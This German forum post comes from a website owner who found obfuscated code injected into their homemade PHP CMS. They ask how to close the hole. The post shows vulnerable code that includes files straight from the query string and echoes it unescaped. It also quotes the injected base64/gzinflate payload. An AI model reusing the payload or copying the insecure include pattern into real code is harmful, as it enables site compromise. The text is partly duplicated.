D
DiVaO
Guest
Guten Abend,
als ich eben meine Webseite besucht habe, ist mir ein seltsamer Fehler aufgefallen. Glücklicherweise. PHP zeigte eine Fehlermeldung, die nicht von mir stammen konnte, da ich nichts an der Seite verändert habe im Laufe des Tages. Habe in der entsprechenden Datei nachgeschaut und musste feststellen, dass dort fremder und verschlüsselter Code eingeschleust wurde. Gleiches auch in zwei anderen Dateien.
Ich verwende auf meiner Seite ein selbst programmiertes und sehr einfach gehaltenes CMS, das aber scheinbar eine Sicherheitslücke hat. Und ich denke ich habe diese Lücke auch sofort ausgemacht, leider weiß ich nicht wie man sie schließt. Der grobe und stark vereinfachte Aufbau meines Systems:
index.php:
Also im Grunde ganz einfach, so dass bei example.com/?news oder example.com/index.php?news die news.php includiert und angezeigt wird.
header.php:
Folgendermaßen sieht der eingeschleuste Code aus (hab ihn nicht entschlüsseln können):
Die Sicherheitslücke scheint also vom Query_String zu kommen, wurde also über die URL eingeschleust. Nun natürlich meine Frage:
Wie kann ich diese Lücke schließen? Für id's in der URL gibt es ja z.B. intval, um das etwas sicherer zu machen. Was gibt es für diesen Fall?
Und falls es jemand wissen sollte: Wie konnte diese Lücke ausfindig gemacht werden?
Bitte dringend um Hilfe. Vielen Dank im Vorraus!!
Grüße
als ich eben meine Webseite besucht habe, ist mir ein seltsamer Fehler aufgefallen. Glücklicherweise. PHP zeigte eine Fehlermeldung, die nicht von mir stammen konnte, da ich nichts an der Seite verändert habe im Laufe des Tages. Habe in der entsprechenden Datei nachgeschaut und musste feststellen, dass dort fremder und verschlüsselter Code eingeschleust wurde. Gleiches auch in zwei anderen Dateien.
Ich verwende auf meiner Seite ein selbst programmiertes und sehr einfach gehaltenes CMS, das aber scheinbar eine Sicherheitslücke hat. Und ich denke ich habe diese Lücke auch sofort ausgemacht, leider weiß ich nicht wie man sie schließt. Der grobe und stark vereinfachte Aufbau meines Systems:
index.php:
PHP:
include 'header.php';
$query = explode('&',$_SERVER['QUERY_STRING']);
include 'content/'.$query[0].'.php';
include 'footer.php';
### Hier wurde fremde Code eingeschleust ###
Also im Grunde ganz einfach, so dass bei example.com/?news oder example.com/index.php?news die news.php includiert und angezeigt wird.
header.php:
PHP:
// ...
echo '<title>'.$query[0].'</title>';
### Eingeschleuster Code direkt im <title> Tag ###
// ...
Folgendermaßen sieht der eingeschleuste Code aus (hab ihn nicht entschlüsseln können):
PHP:
#c762a7#
echo(gzinflate(base64_decode("lZExT8MwEIX/iuWltlSSsCZNpVKxIVjYEIMTn5OTHNuyL2kjyn8nUSsWYGC703uf7t7dLrURA+0nFdkYbc17olDm+aA6hHiXAoKFzAHxCo0QTk3YKfIxGxPEQweOMvJP/gTxqBIImaHTcH4xgg8Jgct9XcjL5T+cwQjGn6+o/FgXM7X27TisUBtBETxaWDuxQRPVABtZmSwBHYgiNiOB4CfU1PMtv+c/tR6w6+kPMcWWb5dL/KLQbGGhJkzYoEWaS9aj1uAqFnxCQu9Kpprk7eKvmAVDJSsCVYx8uFbLwO8oHdAtR3qYX1X3vCQRvPF65vKteM9UCOD0sUerhZGfu/z2qi8=")));
#/c762a7#
Die Sicherheitslücke scheint also vom Query_String zu kommen, wurde also über die URL eingeschleust. Nun natürlich meine Frage:
Wie kann ich diese Lücke schließen? Für id's in der URL gibt es ja z.B. intval, um das etwas sicherer zu machen. Was gibt es für diesen Fall?
Und falls es jemand wissen sollte: Wie konnte diese Lücke ausfindig gemacht werden?
Bitte dringend um Hilfe. Vielen Dank im Vorraus!!
Grüße